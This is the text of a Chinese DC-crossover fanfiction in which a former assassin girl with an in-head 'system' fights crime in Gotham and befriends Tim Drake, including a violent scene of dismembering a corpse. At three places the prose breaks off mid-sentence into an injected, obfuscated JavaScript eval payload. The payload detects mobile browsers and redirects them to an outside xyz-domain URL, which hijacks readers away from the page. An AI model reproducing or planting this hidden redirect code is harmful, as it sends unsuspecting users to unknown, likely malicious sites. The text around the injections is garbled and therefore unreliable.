《[综英美]路人女主吃瓜日常》 1. 第 1 章 作为东海岸的沿海城市，哥谭总是下着雨的，激流般的暴雨，淅淅沥沥的小雨，雨水汇集成溪流在大街小巷里游走。这座城市的空气中从来不缺乏水汽。所以当碰头垢面的流浪汉突然被重物坠落的声音惊醒时，成熟的哥谭人只是瞥了一眼就识趣的挪动了位置，容忍了觅食的老鼠从身上爬过的行径。 无他，惟手熟尔。 只是略微不同的是，这次的凶案现场没有响起枪声，也没有出现犯人该有的脚步声和义警从天空划过的动静。流浪汉半睁着眼，映入眼帘的只有形似猫头鹰的人形生物的背影，手中所持的长刀上血水顺着雨水被冲刷而下，流入本就肮脏的地面。 算不上年轻的流浪汉意识到踢到了铁板，没办法保持之前悠哉的状态，连滚带爬地逃出了犯罪巷，连自己刚刚从垃圾桶里淘到的沾着血的毛毯都没来得及带走。 猫头鹰听到声音，转身就看到落荒而逃的流浪汉，却没有追上去，只是歪着头注视着人消失在街巷尽头，金色的眼睛在黑暗中放大，像极了垃圾桶上被打扰了进食的流浪猫。 那么问题来了一觉醒来发现自己穿着奇装异服手里拿着凶器脚下还躺着尸体该怎么处理？ 索菲亚.布兰登，AKA猫头鹰杀手，在两年前金盆洗手，乖巧的被监护人塞进了学校里接受义务教育的熏陶，在来到犯罪巷之前还在为数学测试拿了及格在向家长炫耀，发誓要吃遍三轮唐人街中餐馆。睡梦里还夹杂着和监护人左手持刀右手持枪狩猎伤人吸血鬼的战斗回忆，就在监护人即将大手一挥让大家都能开开心心的畅吃麦当劳的时候，索菲亚睁开了眼。 美梦的结束后突然毫无征兆的出现在陌生环境，对于索菲亚来说算不上什么好事。 地上的尸体中有一具抽搐了一下马上要睁开眼睛，就被索菲亚一拳送回了梦乡。 睡着吧您。 那么接下来该做什么呢？ 索菲亚用手掌撑着脸，蹲在地上思考。 “宿主您好，这边建议您先处理好尸体防止被警方追查，其次就是探查周边情报确认自身位置。” 机械女声突然响起，把少女吓得一激灵猛地站了起来。但周围的满地乱爬老鼠却没半点反应，让索菲亚后知后觉的意识到这声音是出现在自己的大脑中的。 “你是谁？” “您好宿主，我是加西亚集团研发的猎魔人成长系统，我们的目标是让宿主成为经验丰富，除恶扬善的猎魔人。” 少女更加疑惑了，用手拍了拍脑袋。 “我什么时候得了妄想症？是被传染了吗？” “请宿主停止自残行为，并按照系统指引开始行动。” “我为什么要听你的。” 索菲亚眯着眼睛，用手里的长刀在尸体上比划计算出切分的最合适方法。 “系统后台将对宿主的违规行为进行严肃处理并进行惩罚。” 索菲亚上前扒开尸体的衣物，将长刀刺入尸体，开始顺着肌肉走向开始切分。 “你以为我会怕这个？” “系统将会把宿主的违规行为全部以邮件形式发送给监护人。” 少女切割的动作顿住，愤愤的对着虚空白了一眼。 “好恶毒。” 用衣物将肢体包裹住团吧团吧塞进了垃圾桶，少女这才有时间打量自己身上的制服。凯夫拉的材质包裹着大部分易受伤的部分，像是腹部、前胸、大腿、脖颈在内的寻常状况下一击就会毙命的区域，安全系数属实比做猎魔人时穿着自己的衣服就和敌人厮杀要好的多。手套上带着锋利的利爪，即使不刻意使用武器也能一击毙命。 背后背着的两把刀鞘里还放置着一把刀，另一把刀还被抓在索菲亚手里。腰间的腰带带着很多暗格，索菲亚打开其中一个格子掏出来一个密封完好的玻璃瓶，如果没有猜错应该是可以直接拿来注射的□□。 唯一美中不足的是，褐色呃，棕色的制服颜色实在算不上好看。还是得挑时间染成更容易潜伏在黑夜中的黑色。 “恭喜宿主完成第一项任务处理犯罪证据，请宿主根据系统指引完成第二项任务——为自己办理合法身份。” 索菲亚将长刀收回背后的刀鞘，左右观察，在视线里找到了被系统标出黄色感叹号的物体，顺着方向直走却直直撞上了墙壁。少女顺势将利爪扎进砖墙，顺着墙壁一路攀爬，在墙上留下无数裂痕。 爬过最后一步，少女终于从钢铁建筑的阻挡看到了这座陌生城市的景象，不同于犯罪巷满是黑暗与恶臭，城市的其他区域大多明亮很多，最为灯火通明的区域高楼群聚直插云霄。 索菲亚找好位置，蹲了下来，注视着眼前的风景，似乎在一瞬间回到了同样是不夜城的纽约。 刚刚发生凶案的带着垃圾和臭味的小巷，同样明亮却不近人情的大都市，黏湿的雨水顺着武器留下，让索菲亚以为自己还没有脱离审判庭的生活。在一片灯火中，被投射在天空中的蝙蝠图案显得格外显眼。 女孩的瞳孔在光线下缩成针尖大小，半天才开口。 “这里是哥谭，对吗？” 是以少女居住的纽约为原型，诞生了美漫历史上的大明星黑暗骑士蝙蝠侠，犯罪率居高不下，充斥着哥特式浪漫和残忍的城市。 系统没有回答，只是继续一味重复任务，雨水顺着制服的缝隙流进女孩的衣服里，带着面具的脸同样没有幸免于难，被打湿的小猫头鹰甩了甩脑袋，从高楼一跃而下。 轻盈的一片羽毛般的杀手从高处落下，高速坠落迫使雨水重重打在脸上，少女睁开双眼看着越来越近的地面没有一丝慌乱，在空中调整好了姿势如同猫一样毫无声息地落在路灯灯臂上。 眼前，正是任务指引的目标。 路灯下，是正在兜售大麻的蛇头，身上散发着大麻制品特有的恶臭气味。索菲亚皱了皱眉，将呼吸放到最缓把自己藏匿在雨夜之中。 蛇头对面是急着验货的瘾君子，在昏暗的灯光下索菲亚也能看到对方苍白消瘦的躯体，骷髅一样撑起了宽大的带着泥污的衣物。 “你们在做什么。” “草，是不是蝙蝠侠来了，不是说蝙蝠侠今天已经巡视过东区了吗？” 蛇头手忙脚乱的掏出手枪就开始射击，其中一枚子弹冲着蹲在路灯上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859228|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的猫头鹰擦过，被索菲亚侧头躲开，一片混乱中瘾君子顾不上钱和货拔腿就跑。 索菲亚目送瘾君子离开，看着头上带着感叹号的蛇头想到了让对方协助自己的好办法。 猫头鹰从路灯上跳下，再次躲过子弹，绕到蛇头背后，一手抓住了男人的衣领，起跳顺势爬上墙壁，在感觉离地十几米的位置松开手任由男人自由坠落。自己也跟着一跃而下。在男人瞪大了眼睛尖叫的时候，抓住男人的衣领。 “我不敢了，我之后不卖了，放了我吧。” 男人被挂在半空中，吓的痛哭流涕，两条腿在空中挣扎几下终于是失去了力气，只可惜本身身上的衣物就已经被雨水打湿索菲亚实在看不来男人有没有被吓尿裤子。 “你这有我想要的东西。” “您想要什么，我有的我一定给，您放我下去吧。” “那好，我要——” “这次的小组任务我希望能够看到大家相互合作而不是单打独斗，各个小组要分配好成员负责的工作比例……” 索菲亚打了个哈欠，趴在桌子上开始卷自己的头发玩，离放学还要一段时间，但上课的内容实在算不上有趣，少女兴致缺缺的看着班上那些已经忍不住开始讨论的同学。 “你找好小组了吗德雷克？” 被喊到名字的少年从容不迫的把课本盖在刚刚还在涂画的笔记本上，完全不见被抓住走神的尴尬。 “还没有，要和我一起吗？” 索菲亚半侧过身子看着少年蓝色的眼睛点了点头，直着身子来努力抑制住想要伸懒腰的冲动。 是的没错，有的人晚上打扮成猫头鹰把人从几十米高空扔来扔去就为了合法的来上无聊的要死的学。 学校里充斥着大猩猩一样脑子没进化完全的同学，无聊又老套的课本知识，没完没了的小组作业，偶尔还要忍住炸了全世界的欲望上台根据完全随机内容自由发挥的幻灯片做牛头不对马嘴的presentation。 好在这次摇到了班里一向以靠谱闻名的提姆.德雷克，索菲亚见过少年之前的小组作业不管是资料收集，幻灯片制作还是上台演讲都显得游刃有余，让少女终于回到了十几岁少年该有的智力水平范围。 “所以你拍到Batman了吗？我还没见过祂。” 少年轻轻点头，嘴角难以抑制的扬起。 “我还拍到了罗宾，那天太晚了罗宾还送我回家。” “那很好啊，追到正主了，不亏。”少女竖起一个大拇指“未来可期。” 原先德雷克只是班里平平无奇的同学之一，稍有不同的可能是比别的同学稍微聪明点，比别人的眼睛好看点，略带清瘦的身影也比带着狐臭的肌肉好上许多。 直到一个月前的晚上，事情发生了一点点变化。 经过一系列制作假身份、找到住处、好好吃饭的新手任务，系统终于颁布了一样符合猎魔人名字的狩猎任务。 “调查东区游荡的幽灵。” 刚刚解决一系列问题能够获得安稳睡眠的少女不得不放弃柔软舒适的被窝，吊着脸钻进了哥谭的夜幕之中。 2. 第 2 章 之前的新手任务，索菲亚算是把系统摸了个遍。 首先，系统会根据索菲亚当前的情况颁布任务，像是解决衣食住行的生活问题，那就需要索菲亚按照目标一项一项的完成，但是并未限制完成任务的手段，所以少女可以把目标从高空抛下再接住通过胁迫目标对象达到目的。 在完成任务后，系统并不会给予实体奖励，而是转化成能量的形式，利用一定的能量换取奖励。 只可惜商城区的内容少的可怜，只有些索菲亚曾经见过监护人用过的魔法，连命名也是些火焰、清泉、雷电之类言简意赅的名字，不过对于几乎没有魔法天分的索菲亚来讲也足够应付大多数可能面对的情况。 而这些技能大多在兑换后只能使用一次，但兑换的次数却不受限，也就是说只要能量攒的够多，索菲亚完全可以利用系统用雷电把阿卡姆劈成废墟。 所以第一次正式任务，索菲亚的目标非常明确，在调查清楚东区幽灵后尝试使用能量换取冰冻的能力。 根据脑子里少有的对蝙蝠侠漫画的记忆，索菲亚听监护人吐槽过猫头鹰法庭的设定，一群畏手畏脚的培养杀手为自己清理障碍的无能废物，和曾经自己所在的审判庭何其相似。 只不过与审判庭通过半成品猎魔人药剂进行人体改造的模式不同，猫头鹰法庭则更多依赖一种名为琥珀金的物质将人转化为活死人一样的状态，这些杀手在不被使用的时候就会被冰冻保存。 低温是法庭利爪唯一的弱点。 因此在索菲亚看来冷冻的能力无疑比其他能力更具有威慑力。 那么作为穿越者，索菲亚是否对dc漫画全系列了如指掌呢？ 实则不然，少女在离开审判庭后就被监护人带着看起了电影，对蝙蝠侠的唯一理解还停留在2008年的那部《黑暗骑士》，只知道关于双面人，蝙蝠侠和小丑之间的复杂故事。 如果早知道会穿越，少女发誓一定会找个节假日老老实实把监护人收藏的一书柜漫画看完。 黑色的长靴鞋跟踩过水坑，老鼠吱吱乱叫，窸窸窣窣的声响里除去老鼠还有些初具人形的家伙在做些见不得人的勾当。 少女穿了件连帽衫，过肩的黑色头发塞进了兜帽里，工装裤的口袋里还放着防身用的水果刀，背后背着背包。虽然看起来比较蹩脚，但索菲亚保证在自己手里就算是没有手大的水果刀照样可以完成杀人抛尸的工作。同时，今夜自己的工作也不是夺走人性命的老本行，而只是相对简单的调查工作。 来到被系统标记黄色的区域，索菲亚打开手电筒照了半天没看出什么异样，迷茫的站在原地，半天才后知后觉意识到幽灵应该没那么容易被手电筒找到，又重新从背包里翻出紫外线灯，发现了地面上出现的荧光痕迹。 痕迹呈现线状，比起液体常出现的喷溅状，更像是粉末留下的痕迹，比如被划破的面粉袋子撒下来的面粉？ 索菲亚不太确定，用紫外线灯向痕迹延伸处照去，只见一条无比漫长的断断续续的痕迹穿过光亮处埋进了黑暗里。 说实话这样的画面实在太像陷阱，就算老被说脑子不好使小猫头鹰也知道自己傻乎乎跟过去的行为高低沾点智力残障。索菲亚干脆把紫光原地扫射一圈，很快找到了新的痕迹，并非是顺着地面平滑的痕迹，而是断断续续站在墙壁上。 “爬墙嘛，这我擅长。” 少女抓住位置较低的防盗网，两下爬了上去，在头顶处又发现了痕迹。双腿微微蹲下方便肌肉发力，索菲亚抓住外置楼梯的栏杆一个后空翻将自己甩了上去，顺着痕迹来到屋顶。 “喵～”有着绿眼睛的黑猫给索菲亚让了个位置，少女也毫不介意的蹲了下来。 再次打开紫光灯，索菲亚就看到四周闪着荧光的痕迹都汇聚在这个房顶，少女歪了歪脑袋不理解这位幽灵到底会以什么样的形式出现。 就是说系统就一定是对的吗？万一系统坏了呢？ “请不要否定系统机能，请不要否定系统机能，再有类似情况系统会向您的监护人汇报。” 索菲亚撇嘴，视线移向趴着的黑猫，将手放在猫的鼻子前，在得到肯定后才顺着皮毛摸了摸。 一声响彻云霄的爆炸声后，昏暗的哥谭突然亮起点点火光，火势蔓延极快，很快就呈现一道火线剧烈燃烧起来。索菲亚站了起来，就看到火线中有着一个穿着全身装备但属实难看的男人利用喷气背包在空气中苍蝇一样四处乱飞，不远处的地面上黑色的跑车怒吼着紧随其后。 “这是什么，好难看。” “确认幽灵身份，哥谭罪犯萤火虫，以纵火为乐，希望通过纵火获取大众关注。” 小猫头鹰转头看了看四周，确定萤火虫正奔着自己的方向飞来，很快有了想法。用手拖着猫屁股催促黑猫赶快离开，目视翘着尾巴的毛茸茸动物离开后，索菲亚叫出系统选择兑换冰冻魔法。 “冰冻魔法已兑换，冷却时间30秒后启动。” “什么——” 索菲亚来不及反应，萤火虫已经飞上了屋顶几乎冲到脸前，热浪之下皮肤有些刺痛。少女来不及躲闪，下意识一记直拳，就将发着光的萤火虫打的脱离了原定的方向。 “暂停使用，暂停——” 少女还没说完，一道黑影从蝙蝠车的车顶弹射而出也上了屋顶，随着机械启动的声响，哥谭的黑暗骑士越来越逼近。 在蝙蝠侠头上的黑色尖尖刚刚出现的时候，少女就已经慌不择路从另一侧翻了下去。 “不是，为什么蝙蝠侠也在啊。” 再见了哥谭，今晚我就要远航。 抓住墙体外侧铁栏杆将自己荡得更远，在空中回头看，就看到蝙蝠侠高大的身影站在边缘朝着少女望了一眼，就转身去抓逃窜的萤火虫，火警和GCPD的警报声也终于渐行渐远。 终于落地的索菲亚长出一口气，重新看着系统，任务有了更新，幽灵被替换成萤火虫的字眼，任务要求也从调查身份变成了抓捕萤火虫。 “跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859229|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过。” “该任务无法跳过。” “Skip。” “……该任务无法跳过。” “蝙蝠侠都在追了，我去有什么用？等着蝙蝠侠发现我是个冷酷杀手把我扔进阿卡姆精神病院吗？哦对，我没有精神病，最后只能在黑门监狱等着被判死刑。” “……哥谭没有死刑。” “有的，我看了，条文里是有的，只是没有实施过。” 少女气鼓鼓的走在街道里，用靴子狠狠的把易拉罐踩扁后踢向远处。 “那就这样吧，大不了我在哥谭呆一辈子不回家了。” 系统沉默了片刻，一人一统僵持在一起，谁都不愿意先说话。 直到不太和谐的说话声打破了平静。 “小少爷，你知道大半夜出现在犯罪巷意味着什么吧。” 吊儿郎当的听起来没什么力气也没什么素质的声音，索菲亚非常容易就判断出大概率是持刀抢劫的混混，但在此时行侠仗义也总比和系统置气好得多。 “系统，瞄准说话的人，发动冰冻魔法。” “好的，已为您使用冰冻魔法。” 一道蓝光子弹般从空气中闪过，打在了人的肢体上，快速结冰的声音伴随着男人的咒骂声传来，索菲亚小跑两步来到男人身后，不等人转身就摘下沉重的人书包狠狠的向男人的脑袋敲去。 “蝙蝠侠刚过去就抢劫，疯了吧你。” 金色的眼睛用余光大致扫过，就看到了熟悉的蓝色眼睛，和抱着相机的看到了索菲亚的脸之后同样愣住的少年。 男人摔倒在地，索菲亚站在原地，不知道该怎么解释。 男人挣扎几下，摇摇晃晃地就要爬起来，少女再次拿起书包敲了两下，彻底为劫匪送去了婴儿般的睡眠。 刚被修剪过的指甲又是扣了扣书包带，又摸上了头发。索菲亚意识到动作有些尴尬，把手放下又忍不住搓起了裤子。 “德雷克，哈哈，原来你也不喜欢睡觉啊。” 提姆.德雷克，班里一向品学兼优的好学生正在用那双在路灯下呈现海洋一般蓝色的眼睛上下扫视少女。少女全身沾满了灰尘，黑色工装裤上还被污水溅上的污渍格外显眼。那张白皙的符合亚裔长相的脸上同样沾染了灰尘，在金色的瞳孔下的皮肤不知道被什么锋利的东西划破了道口子，鲜红的血还在顺着脸颊流下。 “对，我是蝙蝠侠和罗宾的粉丝，之前有拍到过照片。” 少年举起相机示意。 “我知道很奇怪，但刚刚的是什么新型武器吗？你不想解释也没关系。” “其实……”索菲亚抬起头注视着有些熟悉的那片蓝色心一横干脆直接坦白“是魔法。” “嗯嗯。”少年跟着点头，摘下身后的背包开始翻找。 “但就算是会使用魔法的女巫小姐，也需要处理伤口吧。” 提姆伸出手，递过来一个创可贴。 “放心，我会为你保守秘密的。” 3. 第 3 章 “所以为什么萤火虫会是幽灵？” 索菲亚蹲在屋顶，注视着老老实实回家的同桌渐行渐远，才想起来提出自己的疑问。 “难道是因为萤火虫四处放火还喜欢玩追逐战像幽灵一样阴魂不散吗？” “那蝙蝠侠怎么不算一款幽灵，悄无声息的出现在人的身后然后打断别人的每一根骨头，最后把人捆得像螃蟹一样扔进警局自首。” 系统没有回复，只是循环重复播放“您呼叫的系统正在休息中，请在固定时间段联系系统说明问题，谢谢您的合作，再见。” 屋顶的风格外的寒凉，晚饭吃的一个汉堡套餐带来的热量完全被少女猴一样爬上爬下的剧烈运动消耗的一干二净，饥寒交迫的索菲亚盘腿坐了下来，用手托着脸思考人生的意义。 就是说世界上是先有鸡还是先有蛋呢？ 蝙蝠侠深夜□□后去超市买菜做饭做的是意面还是烩饭？ 月亮，长得好像一张披萨。 一直装死的系统突然有了动静。 “宿主前方200米处有一家卖热狗的小摊。” “所以萤火虫为什么是幽灵？！” 机械音沉寂下去，经历了系统的反复仰卧起坐后就算把脑子扔进下水道索菲亚也能知道，这机械脑袋只是在装死。 索菲亚左右观望，果然看到了带着彩色灯带的看起来美味又诱人的餐车，彩色的发着光的Jackson老爹热狗几乎能吸引每个半夜饥肠辘辘的夜猫子流下口水。至少从名字来看一个敢于把自己的名字放在店铺招牌上的勇士，一定是一位优秀的饱经各类食材水深火热历练的优秀厨师，所以能够吸引夜间行动的小猫头鹰乖乖的在餐车前站定，对着菜单点了个遍。 “你好，这位，呃，女士，你确定要点十个加双倍辣酱的热狗吗？” 索菲亚注视着餐牌，庄重的点下了高贵的头颅，认同了店员的说法。 上次需要少女做出重要决策的场合还是和某位猎魔人前辈清除下水道里占据了过多位置严重影响到普通人生活，甚至夺去了几位失足落入下水道的可怜路人性命的食尸鬼。 “我们为什么不能放一把火把食尸鬼都烧掉呢？直接战斗还可能会受伤。”金发男人侧着头和索菲亚讲话。 少女下意识觉得哪里不对，但是看着对方苍绿色的眼睛里满溢而出的自信，同意了同伴的做法。 “但是下水道是不是有沼——” 索菲亚话音未落，伴随着飞速蔓延的火焰，巨大的冲击力同时将好几个井盖轰上高空。连环的爆炸确实如男人预想的将食尸鬼全部清除，倒不如说效果过于强劲，就连路面上的汽车也受到爆炸影响，坚硬的挡风玻璃碎了一地。 好在两人走了狗屎运，没有人在这场智商下限的展示环节受到太严重的伤害。作为不带脑子的惩罚，索菲亚被勒令禁止一切狩猎活动，被要求老实待在家里闭门思过，直到在下次测试能拿到及格的成绩。金发的前辈对着浑身上下冒着黑气的监护人还笑得出声，直接被一纸调令发配去非洲追查涉及人体实验和血腥献祭的邪教，再次回来被广袤大陆上的阳光晒得几乎脱了层皮。 “我会觉得十个有点太多了，点三个怎么样？正好覆盖这家的招牌口味，经典、芝士和爆辣牛肉。” 磁性的男性声音出现在索菲亚身旁，声音里带着的来自于主人与生俱来的活力，但又受到某些因素的影响变得有些萎靡。 纤长的但并不单薄的身体被黑蓝色调的紧身衣包裹，仅仅是索菲亚用余光瞥到的半截小臂，都蕴含着惊人的爆发力。前猫头鹰杀手用超过五年的工作经验发誓，自己如果被在不闪避的情况下被打上一拳，估计得断两根肋骨。 顺着身体向上看，就能看到被面具覆盖的脸，仅仅从轮廓就能看出青年的英俊。根据面部肌肉的大致走向，少女可以判断对方并无敌意，甚至有些放松，但刻意调整后温和的语气里掺杂着过度工作后的疲惫，使得本该魅力四射的男性显得有些可怜。 都是加班加的。 “好，就要这三个。” 看着黑发的少女，青年的眼神里带有一丝遗憾似乎想到了什么，但这点情绪很快被藏好。 “你想要和我合影吗？很多孩子都很喜欢我的。” 脑子正在宕机罢工的少女的眼神中流露出上课走神突然被点起来回答问题的茫然。 这是哪？我是谁？饭在哪里？ 最后还是在青年鼓励的眼神下，少女迟疑着点头同意。 左手拎着三盒特色热狗，右手捏着和蓝色夜猫子青年的合影，在得到青年“早点回家”的嘱托后，索菲亚脑子里的齿轮终于开始转动。月光下，面对着在夜空中轻而易举就能做一连串三百六十度无死角托马斯回旋转的灵活身影，被制服包裹的格外挺翘锃光瓦亮的屁股永远的刻在了索菲亚的脑海里。 所以，他是谁来着。 蜘蛛侠吗？ 眼皮止不住地打架，脑袋像是灌了铅一样沉重，那些疑似是英语的话从左耳灌了进去，不到两秒就原封不动的顺着右耳离开了索菲亚的大脑，形成了一道完美的闭环，甚至没有留下丝毫的痕迹。 讲台上的梅森女士早已对索菲亚无可奈何，对于少女在课上昏昏欲睡的行为索性睁一只眼闭一只眼。这位三个月前突然从纽约转学来的少女堪称油盐不进，不管是苦口婆心的劝说还是义正言辞的批评都没办法让索菲亚像同龄孩子一样露出丝毫的类似愧疚，不甘的情感，少女黑色的眼睛总是像哥谭的夜空一样深邃，却又不会显示出任何一丝情感，让人时刻被可能会拉进去溺死的恐惧。 拨打少女的监护人伊芙琳.布兰登小姐的电话，却只能收到一丝不苟的如同机械一样的回复，多次尝试后梅森小姐重拾了作为哥谭人最重要的品质——不多管闲事，彻底将总是沉默的立于群体边缘的少女视为空气。 “梅森女士在看你。” “没关系，她不会管我的。” 没办法再次睡着的少女低头打了个哈欠，伸手揉了揉惺忪的睡眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859230|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “所以你昨天拍到蝙蝠侠和罗宾了吗？” 提姆轻轻摇头，顺手把笔记递给索菲亚。 “实际上，有大概几个月的时间，罗宾都没有在哥谭出现。” 少年语气稍稍停顿，继续了自己的推断。 “我认为出了什么事，最近蝙蝠侠的状态不太对。” “说到义警，不过昨晚我遇到了一个义警还一起合影了。”索菲亚钻进课桌，从书包夹层拿出了那张照片。 “他是新的义警吗？我不太熟悉。” 少年侧过身看了一眼就露出微笑，眼角弯弯。 “这是布鲁德海文的义警夜翼，他和蝙蝠侠经常合作，偶尔也会来夜巡。” “你不太熟悉义警吗？” 索菲亚点头后又觉得不妥，接着开始摇头。 “我只认识蝙蝠侠。” 少年的视线落在少女的金色的瞳色上，又抬头对上索菲亚现在黑色的眼睛。 “这个是美瞳。” 索菲亚用手指在眼珠上轻轻一捏，就将中心黑色的薄膜揭开露出金色的猫一样的怪异瞳孔，快速拿出眼镜盒找到新的一片美瞳戴了上去，全程不超过五秒。 “下课了给你解释。” “其实是遗传病，对，我们家祖传的遗传病，大家的眼睛都是金色的会发光的，我们家晚上都不用点灯，大家睁着眼睛把家里照的比白天还亮。所以我家一个月只用交五十块电费，特别的环保，市长都要给我姐姐颁发环保大使的证书感谢我们布兰登家族对绿色地球做出的贡献。” 少年抿了抿嘴，眼神里实在难以看出半分信任。 “然后我姐姐她不一样，她，她是蓝色眼睛，她特别自卑因为她眼睛不会发光，所以她总是半夜打开电脑敲键盘，我怀疑她是在和三体人联系来毁灭地球，这样她就不用因为眼睛不会发光而伤心了。” “好的，我理解了，眼睛会发光的环保大使小姐。”被索菲亚东扯西扯的垃圾信息冲击的提姆.德雷克选择提前结束话题。“你负责的那部分小组作业进度开始了吗？” 说到兴头上的少女被猛地截断了话题瞪圆了眼睛，最后只能遗憾的坐了回去，脸颊肉上的酒窝随着少女牵动嘴角的动作若隐若现，那张在讲些乱七八糟的故事时还略微带些表情的脸重新变成了平日里最常出现的，石像一样毫无波澜毫无生机的表情。 前天夜里那些在脑海里漂浮了一夜的关于同桌为什么会魔法，为什么深夜一个人出现在犯罪现场的问题被卡在了嘴边，最终被少年咽了下去。 提姆明白，想要知道更深层的秘密，保守秘密才是第一步。 就像是少年知道天空中自由飞翔的夜翼曾经是蝙蝠侠的罗宾，失踪的现任罗宾可能已经死亡。 而将整座哥谭都扛在肩上前行的蝙蝠侠如今正站在无比危险的悬崖边缘摇摇欲坠，需要有人挺身而出成为他的安全绳，拉住他的理智，成为他的底线。 少年相信，提姆.德雷克会成为这个人。 4. 第 4 章 在索菲亚的视角里，同桌的眼神越发坚定，似乎在少女不知道的地方做出了什么足够决定一生的重要选择。 只是在随口瞎扯的索菲亚忍不住开始思考自己刚刚说的怪话是不是对这种青春期的青少年有一定的冲击力。 那么同桌到底许下了什么样的愿望才能露出这样的眼神？ 拯救美国吗？!做救世主是没有出路的，同桌你转职吧。 可惜少女设想的主角某天突然觉醒性情大变实现顺风顺水事业道路的剧情并没有发生，顶着少女担忧眼神的同桌还是彬彬有礼风度翩翩的挑不出一丝错的完美形象。 不过这份关注没有持续多久，索菲亚的注意力完全转移到了其他地方，比如在装死三天后重新复活的系统。 “你不好亲亲，很不高兴为你服务，收到你的反馈后这边已经将任务名称从‘哥谭城中的幽灵’改成‘为什么不能把萤火虫撞死’，你的体验怎么样也无所谓了不要再反馈了谢谢，希望不要再见到你。” ？？？ 这对吗？ 被报告折磨的痛不欲生的索菲亚强撑着睡意点开邮件，就被密密麻麻的且带有浓厚情感色彩的邮件糊了一脸，企图回复但只得到发送失败的提示后索菲亚只能选择放弃。 摇摇晃晃的站起来，少女迈着灌铅似的脚步好不容易才挪到洗手间用冷水洗了个脸。镜面上沾上了水滴，但又没有凝结到可以留下的地步，将画面分割成一滴滴的区域。那双奇异的金色的眼睛，被分割在不同的区域，一块叫怪物，一块叫废物。索菲亚想要移开视线，意识却逐渐恍惚。 “站起来，趴在地上是嫌死的不够快吗？” 被踹翻在地后，身上擦出了好多道细碎的伤口。 好疼。 “拔刀攻击，为什么要后退。” 皮肤被刀刃划开，过量失血的伤口泛白卷起，让疼痛被时间麻痹。 趴在地上的女童浑身青紫，好不容易才撑着比自己还长的长刀颤颤巍巍站了起来，黑色的眼球因为疼痛止不住的颤动，但还是没从泪腺里挤出一滴生理盐水。 这是她来到这个黑色屋子的第三个月。 也是离开那个总是说着自己听不懂的话的怯懦但温柔的妈妈的第三个月。 饥饿，疼痛，黑暗，恐惧。 这些东西构成了一张网，将女童裹挟其中不断收紧，不断吸收着幼童带来的生机和希望，女孩只能不断的缩紧身子，只求得到片刻喘息。 “你要为伟大的事业献出生命，我的战士。” 可是，伟大的事业是什么？ 生命又是什么？ 妈妈到底去哪里了为什么不带着我？ 你为什么要说这样的话呢？ ……爸爸。 当视线里只有泛黄天花板的时候，索菲亚才意识到自己躺在了松软的床上，周边全部被毛绒玩具的海洋包围，带来一丝丝微不足道的安宁。 被打开的窗户里风的味道略有些湿润，略低于室温的夜风让索菲亚的脑袋重新变得清醒。 一点文献也没有看，方向也没有确定，文档打开了半天也没什么用，电脑还没关上平白无故浪费着电力。 出去走走吧。 索菲亚对自己说道。 黑夜里的影子步步逼近，长刀从刀鞘中被抽出时发出的摩擦声让逃亡之人更加惊惧，逃亡的脚步也变得杂乱。先前被袭击时额头留下的伤口渗出的鲜血将原本由摩丝打理精致的头发糊成一片，伴随着血液流失，体温也随之降低。 男人不明白为什么会变成这样。 约翰.詹宁斯，三天前还是哥谭一个成功的依靠自己脱离了贫困的优秀中产阶级案例。通过韦恩提供的奖学金，他没有耗费太多的金钱和精力就顺利完成了学业，不过毕业后约翰没有入职自己的恩人韦恩公司，而是一边喊着富人做慈善不过是伪善，一边念着富贵险中求，入职了哥谭本地的一家和帮派有些关系的化学公司——斯波克公司。 坐在办公室里男人向上瞧不起坐拥无数金钱的哥谭王子，向下瞧不起路边卖春的流莺，恰好碰上了对他无比欣赏的斯波克公司现任总裁斯小斯波克先生。两人志趣相投，都有喜欢点评他人成为业余脱口秀选手的爱好，但碍于公司老板的面子大多数被评头论足的对象只能忍气吐声，私底下对着两个衣冠禽兽的背影骂几句含F极高的脏话。 两人当然知道自己的行为不招人喜欢，但面对敢怒不敢言的对象，对方压抑着愤怒的表情成了生活最好的调剂。 一切似乎都向着平稳的美好的方向前进，直到某天太阳升起后，约翰再也没见到小斯波克的影子。 有的人说小斯波克被国税局抓去杀鸡儆猴了，也有的人说小斯波克死在了□□的小巷里，还有的人说那个夜里出现的蝙蝠侠终于发现了这畜牲对于自己金主布鲁斯.韦恩的诋毁打断了全身的骨头后灌进了水泥里，此时恐怕在哥谭湾里和海豚说话呢。 作为最后一个见过小斯波克的人，约翰被拉着做了好几次笔录，但男人挠破了脑袋也只能想起来两人只是参加了晚宴。 作为小人物，约翰连主办方是谁都不知道，只是陪着笑脸绞尽脑汁哄小斯波克高兴。 